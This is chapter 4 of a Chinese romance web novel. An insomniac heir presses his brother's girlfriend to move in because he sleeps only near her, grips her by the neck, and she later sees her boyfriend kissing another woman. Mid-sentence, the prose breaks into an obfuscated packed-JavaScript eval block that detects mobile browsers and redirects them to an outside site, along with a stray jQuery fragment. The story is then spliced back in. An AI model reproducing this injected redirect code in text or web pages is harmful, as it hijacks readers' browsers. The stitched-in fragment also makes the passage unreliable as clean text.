4. Chapter 4

作品:《梦游金鱼

    别墅内的光线晦暗不明,只有几盏壁灯,投下冷寂的光晕。


    夏虞被傅泠的话钉在原地,大脑空了下,一度失去呼吸的节奏。


    但很快,她就明白过来,“你”字的真正含义。


    他要的不是她。


    是她身上的某种能力。


    他患有严重的失眠症。


    而她,恰好能治他的病。


    掐住掌心的手指松开,她紧绷的肩膀倏地沉落,一直屏在胸口的那口气,也缓缓吁出。


    但荒谬感却随之而来。


    她是人,不是药,怎么可能治病救人?况且治的,还是他多年的顽疾。


    等等!


    她能治疗他的失眠,这件事他是怎么知道的?


    脑子里闪过什么,夏虞猛地抬头。


    “难道昨晚,你也在…”那个房间里。


    “反应不算太慢。”傅泠印证了她的猜测。


    夏虞一时说不出话,只觉浑身每一寸皮肤,都闪过轻微的烧灼感。


    最担心的事还是发生了,甚至更糟。


    并非东窗事发,而是昨晚,他自始至终,都睡在她旁边。


    傅泠欣赏着她面上微妙的变化,并未就昨夜之事多言,而是话锋一转。


    “至于效果…”


    他抬手示意,一旁的阿诺便将睡眠监测的数据,放到她面前的茶几上。


    “夏小姐,这件事,我没有骗你。”


    夏虞不得不抬头面对这活生生的证据。


    屏幕上的图表显示,他过往的睡眠很糟糕,且长久以来,睡眠曲线都平缓得没有起伏,但昨天却突兀地出现了一段高峰。


    时间刚好是,六点到九点。


    她在他房间睡觉的那段时间。


    愣怔片刻,夏虞将视线转向他,尽量让自己声线平稳,“傅先生,我想这可能只是一个巧合,或许是你当时太疲惫了。”


    “不是巧合。”


    男人轻描淡写地斩断她的妄想,“刚才你昏睡时,我也试过了。”


    夏虞的呼吸彻底乱了。


    很快,她就接受了这个事实,或者说,不得不接受。


    “那,”她张了张嘴,试图找出最后的破绽,“你的医生知道这件事吗?”


    “当然。”


    傅泠放下酒杯,将她从头扫到脚,像在剖析罕见的奇珍异物,眼神里是连他自己也未能参透的好奇。


    “医生说,或许是因为…”


    “磁场。”


    如果人的磁场能起作用,为什么偏偏是她,而非别人。


    这个问题,傅泠不是没想过,但找不到答案,便不再深究。毕竟过程不重要,他只看结果。


    而眼前的姑娘,不仅聪明,接受能力也比他预想的更强。她只沉默片刻,便径直看向他。


    “所以你需要我帮你助眠?”


    傅泠赞赏地点头,“只要你答应帮忙,我可以满足你的任何要求。”


    “你要我怎么做?”


    “搬过来。”傅泠注视着她,“但在这之前,我要你跟傅斯洲分手。”


    如果说方才还有些惊慌,此刻,夏虞只是微微一怔,随即抿唇轻笑。


    “傅先生是个很自信的人。”


    也许是太过疲惫,她声音很轻,轻得跟深夜的雾一样,“但,凭什么呢?”


    “凭他不值得。”


    干脆利落的回答,一如既往的傲慢。


    夏虞一愣,随即淡漠地弯了弯唇,她垂下眼眸,缓缓开口。


    “抱歉傅先生,这件事我恐怕帮不了。”


    傅泠对她的反应感到意外。


    弟弟的女友,跟他想象中不同。一张明艳张扬的脸,性子比原以为的还要沉静,还要坚定。


    这笔交易对她而言,其实相当划算。钱,权,名,只要她想,他都能给。


    而他要的,只是她的人,又非她的心。


    她却如此执拗。


    他目光再次落到她身上,最终停在她脚边。


    那里放着一个手提式玻璃鱼缸,一尾蓝色天使鱼正艰难吐息。


    奄奄一息的疲惫。


    同它主人一样。


    “你究竟想要什么?”


    他不信有人能完全无视利益的诱惑。


    “我什么也不想要。”


    夏虞轻叹一声,起身将包挎好,语气甚至算得上诚恳,“傅先生,事出有因,今晚的事我就不跟你计较了。”


    “对于你的失眠症,我深表同情,但我真的帮不了你。”


    说完,她抬脚准备离开。醒来时她便观察过,泳池那边应该就是大门的方向。


    再怎么说,傅泠也是傅斯洲的哥哥,她不愿意,他应该也不会强求。抱着这份侥幸,夏虞大着胆子,从他身边经过。


    但刚迈出几步,手腕就被一股强大的力道拽住。


    天旋地转间,一只宽大的手扣住她后颈,将她按向身后那幅巨大的落地画。


    画框冰冷的边缘,重重硌在脊背上,痛得她闷哼一声。


    她蹙眉看他,眼神微微有些惊诧,紧接着,她垂下眼睫,唇角慢慢浮现一丝笑。


    “傅先生…你这是要强人所难?”


    傅泠垂眸看着她。


    她不怕他。


    从刚才到现在,除了些微的紧张,她并不怕他。


    没有人可以在他手底下,还这么镇静。


    看来傅斯洲口下留情了,没在她面前提起过自己那些恶劣的“罪状”。


    拇指用力抵住她下巴,傅泠用其余四指牢牢握住她脖子,他的手很大,掌心干燥而温热。


    几乎将她纤细的脖颈完全包裹。


    仿佛稍稍用力,她就会像一截脆弱的花茎,折断在他手中。


    呼吸不畅,夏虞试图掰开他的手,尝试了两下,发现如同蚍蜉撼树,便松开了双手。


    她靠在画框上,只用一双漂亮但漠然的眼睛看着他。


    她在消极抵抗。


    傅泠审视的目光顿时浓郁了几分。


    “打个赌如何?”


    他指尖微微施力,迫使那疲惫得摇摇欲坠的人,不得不仰起头,直视着他那深不见底的棕潭。


    “三天。”


    他低沉声线落在她耳边,不带一丝波澜。


    “三天后,你会自己回来找我的。”


    --


    又是一夜未眠。


    傅泠换了身衣服下楼,正准备出门,就见李隽领着个年轻女孩进来。


    “有兄弟在清溪镇遇上这姑娘,张蕙,她主动找上门,说自己是你要找的人。”


    李隽说着,将女孩轻轻推到傅泠面前。


    傅泠顿住脚步,视线落在她身上。


    一身白色连衣裙,个子高挑,身形消瘦,看起来有些营养不良。但看向他的眼神,倒不胆怯。


    他沉默地注视着她。


    无数个失眠的夜里,那个救他的模糊身影和寥寥数语,是唯一能给他安宁的慰藉。


    那些话,他反复咀嚼,早已刻入骨髓。


    “回答我一个问题。”傅泠盯着女孩,薄唇轻启,“观音的净瓶里,装的是什么?”


    张蕙显然有一瞬的茫然。


    她抓紧裙摆,瞥了眼同样一头雾水的李隽,紧张地开口,“甘…露。”


    傅泠视线倏然暗下。


    “从哪儿来的,送哪儿去。”他径直绕过女孩,朝大门走去。


    “等等,傅先生!”


    张蕙在身后急切地喊出声,语速飞快,“我知道自己不是您要找的人,但我实在没办法了,为了见您一面,我只好出此下策。”


    傅泠脚下一顿,转过头,“你想见我?”


    “嗯。”张蕙重重点头,“您还记得清溪镇的慈溪中学吗?就是您捐赠的那个学校。”


    倒是有这么一回事。


    因为曾经在清溪死里逃生,他在那里捐了所希望小学。傅泠点点头,示意她继续说下去。


    “我爸是慈溪中学的老师,他叫廖平昌。他为了救一个学生受了重伤,几乎瘫痪在床…他是我们全家的经济来源,我下面还有两个弟妹…”


    傅泠打断语无伦次的女孩:“你想要钱?”


    张蕙猛摇头,“我不要钱,我只想要一个说法。自从我爸出事后,学校就将他辞退了,没有任何工伤补贴,甚至还威胁他不能将此事说出去…”


    “我实在是走投无路,才想到找您求助。”


    “对于你父亲的事,我感到很遗憾。”


    傅泠停顿了下,声音没有丝毫波澜,“但抱歉,我这里不是慈善机构,也不负责办案。”


    说完,他迈步离开,径直坐进了等在门外的车里。


    “真不帮?”李隽从身后跟上来。


    傅泠沉默地看着窗外急速后退的风景。


    恍惚间,他脑中闪过一个模糊的片段。


    他浑身是伤,躺在一个女孩身上,女孩伸手探他额头的温度,她的声线很暖,语速尤其的慢。


    “别怕,观音娘娘在看着我们呢。你看她手上拿着净瓶,里面装的不是甘露,而是希望。今晚过去,我们就安全了。”


    “鬼扯。”


    女孩轻声叹气,“唉,被你看穿了。不过‘好人有好报’这句话,你总听过吧?”


    “你怎么知道我是好人?”


    “嗯…大人们常说相由心生,你长得这么好看,应该不是坏人吧。”


    记忆的碎片如细针,密集地刺入神经,泛起一阵阵头痛,傅泠抬手揉了揉眉骨。


    “老大?”


    见他没回应,李隽转头提醒。


    呵,好人有好报。


    傅泠侧头看向窗外,鼻腔轻哼:“帮她。”


    李隽轻啧一声:“就知道你嘴硬心软。”


    “李密医生的新药怎么样?”他又问。


    “昨晚试了,没用。”


    傅泠合上双眼,向后靠进椅背,“不过没关系,已经找到效果不错的药了。”


    “可人家不是还没答应你?”


    他唇角极淡地扬了一下,“她会答应的。”


    --


    卫生间里,水龙头哗哗出水。


    洗了把冷水脸,夏虞抬头看着镜子里的自己,昨晚没睡好,眼下是一抹淡淡的青黑。


    想起什么,她下意识伸手,摸了摸脖子。


    男人手指留下红痕已经消褪,但那种喘不过气来的感觉,却像是还缠绕在呼吸间。


    昨晚的事,像一场天方夜谭的梦。


    但她清楚地知道,这不是梦,因为她记得那双眼凝视着她时,扑面而来的危险气息。


    “三天。三天后,你会回来找我的。”


    傅泠低沉的嗓音犹在耳旁,带着某种不达目的不罢休的狂傲。


    关掉水龙头,夏虞从口袋里拿出手机。


    这件事应该告诉傅斯洲,能够对付那个疯子的人,也只有他了。


    但从傅泠的态度来看,两兄弟的关系,似乎比她想象中更糟糕。


    傅斯洲未必能帮到自己。


    以他冲动的性子,若知道傅泠让她分手的事,事情指不定会变得更乱。


    正当她犹豫不决时,敲门声突然响起。她迅速擦干脸,快步去开门。


    傅斯洲一身白衣站在门外,手上拎着肯德基的牛皮纸袋,是她常吃的帕尼尼和热美式套餐。


    “怎么了?”


    见她发懵地盯着自己,傅斯洲笑着进门,顺手捏了捏她的脸。


    “没事。”夏虞回过神来,勉强弯了弯嘴角,“你怎么来了?”


    “来看看某人,有没有好好吃饭,好好睡觉。”


    他将纸袋放在餐桌上,伸手抱她,“怎么眼睛红红的,不会是想


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490634|185841||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我想的吧?”


    夏虞笑着推了推他,“刚洗面奶弄眼睛里去了。”


    “你昨晚那个同事还好吧?”


    她走到餐桌旁坐下,拿出帕尼尼,低头咬了口,配上一口热美式,整个人都清醒了不少。


    “嗯,没什么大碍了,腿受了点伤,我昨晚守了一夜,上午就可以出院了。”


    夏虞点点头,吞下食物后,迟疑片刻,转头看他。


    “傅斯洲,有件事我想跟你…”


    话没说完,他的手机突然响起。


    “稍等。”


    傅斯洲起身去一旁接听,隔着几步的距离,她听到电话里传来一个熟悉的女声。


    “傅斯洲让你买早餐,你买哪儿去了,怎么还不回来?”


    是那个一贯颐指气使的大小姐,他的发小,陈思琪。


    “不是,陈思琪,虽然你受了工伤,但我是你上司,不是你保姆…”


    傅斯洲虽然语气不耐烦,却仍压着火气,没有翻脸。


    夏虞突然觉得手里的食物有些难以下咽了。


    “所以昨晚,你在医院守了一整夜的人,是陈思琪?”


    待他挂断后,她拍了拍手上碎屑,面无表情地问道。


    傅斯洲握着她的肩,试图解释:“她在我这儿实习,受了伤,我在双方长辈那儿都不好交差,不过你放心,她的实习期快结束了…”


    不想再听这些翻来覆去的车轱辘话,夏虞打断她,“那现在呢,你走还是留?”


    “我…”


    催促的电话铃声再次响起,傅斯洲为难地看了看她,手指悬在屏幕上,迟迟没有接听,也没挂断。


    夏虞什么也没说,起身走回卧室,关上了房门。


    她不是不理解他的难处。


    但在自己需要他的时刻,她希望他的天平,能毫不犹豫地倾向自己。


    然而,半分钟后,她听到大门被关上的声音。


    他走了。


    -


    夏虞靠在门后,闭上双眼,等待着剧烈起伏的胸口慢慢平息。


    再睁眼时,目光落在窗边的鱼缸上。


    昨晚傅泠松开手后,她才发现,怀中的鱼缸水已溢出大半,鱼也不知道是死是活。


    回家便立刻换水,插上恒温器。听说新水需提前静置除氯,原本是来不及的,还好小区早上通知停水,她阴差阳错,接了一桶。


    也还好,被那么折腾一番,这条病恹恹的鱼,竟然顽强地活了下来。虽然身上的白斑依旧还在。


    其实白点病的治疗并不复杂,老板只是不想花费时间,因为它太普通,生命又太过廉价。


    她突然觉得,她们一人一鱼,似乎都被困住了。


    它被困在生死边缘。


    而她,困在一段不合适的感情里,如今又困在了一个无法自主的选择里。


    她走过去,查看了下水温,然后拿起一旁的蓝色药剂,小心翼翼地往鱼缸中滴了下去。


    --


    实在太累,夏虞决定将这些理不清的烦扰,暂时搁下。


    天塌下来有个高的顶着,如果她不愿意,她不信傅泠还会将她绑了去。


    她一觉睡到了下午。


    直到被枕边的手机铃声吵醒。


    “喂,小鱼?”


    许妍的声音将她从梦里捞出来。


    “怎么了?”她手背搭在额头上,翻了个身。


    “你在…睡觉?”许妍语气惊讶,“身体不舒服吗?”


    “没,只是有点儿犯困。”


    “那正好,你过来吃饭吧。陆煦他生日,原本不打算办的,今天突然心血来潮,又想热闹热闹了。”


    “你们吃吧,我就不去了。”她实在没什么心情,“替我向你男友说一句生日快乐。”


    “你难道是要跟傅斯洲约会去?”


    夏虞顿了下,“没,他在忙。”


    她这么一说,许妍更加不会放她一个人在家点外卖了。


    “那行,你过来,就这么说定了。”她又补了句,“不用带什么礼物,人到就行。”


    夏虞拗不过,只好答应。


    毕竟是别人的生日,她还是花了点时间洗头,化妆,再挑了件米色长裙。


    穿鞋时,她瞥了眼许妍发来的定位。


    【仁德巷366号,白夜里】


    这地方,怎么有些耳熟。


    或许是听谁提过,但疲惫的大脑一时无法提取这份记忆,她没多想,在楼下商店挑了礼物后,打车过去了。


    白夜里是一个中式会所,沉香袅袅,竹影摇曳。她边进去,边低头给许妍发信息。


    【我到了,你们在哪儿?】


    脚下刚迈入前厅,就跟一个急匆匆的服务员迎面撞上。


    “抱歉小姐,您没事吧?”


    对方语气紧张,手中的托盘微微倾斜,杯里的酒险些洒了。


    “没事。”她温和地笑笑。


    对方感激地擦了把汗,而后匆匆离去。她低头整理衣服,视线不经意扫过前方的回廊。


    整个人蓦地僵在原地。


    朱漆雕花的回廊中,灯影昏黄,两道熟悉的身影,在暗光中纠缠。


    女人身着暗红色长裙,面容微醺,双手搂紧男人的脖颈。男人一身白衣,虽没有主动,却也没推开对方的吻。


    沉香味混合雨后的潮气,压得人几乎窒息,夏虞攥紧礼物袋,纸袋发出细微的清脆声响。


    她原本不该出现在这里。


    可她阴差阳错来了。


    也阴差阳错撞见了不该撞见的场景。


    雨水哗哗,顺着檐角落下,望着傅斯洲与陈思琪相拥的身影,夏虞的视线渐渐模糊。


    眼睛发酸发胀,她下意识仰起脸,想将这发寒的热意逼退。


    抬头的瞬间,却撞见二楼窗边,一双像是在俯视人间的,清冷的眼。